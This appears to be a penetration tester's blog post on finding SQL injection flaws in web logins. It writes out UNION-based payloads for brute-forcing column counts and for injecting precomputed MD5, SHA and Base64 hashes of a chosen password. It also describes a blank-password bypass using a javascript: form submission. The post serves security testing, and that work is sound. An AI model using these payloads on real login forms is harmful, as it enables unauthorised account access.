(6 minute read)
Most of the time, logins are not being properly tested against SQL injection and critical security vulnerabilities could be left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.
The objective of this post is to illustrate additional methods for finding SQL injection vulnerabilities, because the traditional ways sometimes fail to detect all the vulnerabilities.
So far, I have found 3 web applications vulnerable to the attack explained in this post.
When probing the security of web logins, the following injections are always used:
' or '1'='1
" or "1"="1
Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.
Imagine that the login code resembles to the following:
Query:
$result = "SELECT password FROM users WHERE login='$login'";
Then on the server-side:
if ($result['password'] == $_POST['password']) Access_Granted();
Even if the login is vulnerable, traditional ' or 1='1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password for the condition to succeed.
The injection for testing the login should now be:
' AND 0 UNION SELECT 'letmein
Resulting query:
SELECT password FROM users WHERE login='' AND 0 UNION SELECT 'letmein'
Thus the attacker can login with whatever password he wants to use.
The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:
SELECT * FROM users WHERE username='$_POST["username"]';
The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:
Brute-force injection:
admin' AND 0 UNION SELECT 1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1,1 AND 'TRUE
...
admin' AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND 'TRUE
....
This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.
Also, it is very common for passwords to be stored in the database as a cryptographic hash, which means that the password provided in the login form is going to be hashed in order to be compared with the one returned by the query; this means that injections like this should be tried as well:
Hashed password injection:
# MD5 hash
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99'... AND 'TRUE
...
# SHA1 hash
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'... AND 'TRUE
....
# SHA-224
admin' AND 0 UNION SELECT 'd63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01','d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01',... AND 'TRUE
# SHA-256
admin' AND 0 UNION SELECT '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',... AND 'TRUE
# SHA-384
admin' AND 0 UNION SELECT 'a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7',... AND 'TRUE
# SHA-512
admin' AND 0 UNION SELECT 'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86',... AND 'TRUE
# Base 64
admin' AND 0 UNION SELECT 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ='... AND 'TRUE
The number of columns has to be brute-forced with every possible hash function and then all of these injections must be tried again with double quotes instead of simple quotes to determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don't want to miss it in any future security evaluation.
The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.
$ pip install selenium
In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.
You can find logincrack.py HERE.
Authentication bypass by leaving the password field blank
A very funny vulnerability happens when it is possible to login as any user in the app by leaving the password input field blank. So far I have found 2 web apps vulnerable to this kind of authentication bypass.
In the username input field the attacker enters the user he wants to login as and the password field is left empty. A little bit of javascript can be used to force form submission in case there happens to be a client-side validation preventing from submitting a login form with an empty password:
javascript:document.forms[0].submit()
The application grants you access as the entered username!
These vulnerabilities were found using a black-box approach so I never read the source-code. However, the issue was probably that the database query returns no rows because the blank password doesn't yield any matches, then when the empty result is compared with the empty password the comparison yields TRUE and the condition succeeds.
So don't forget to try an empty password! You might get lucky.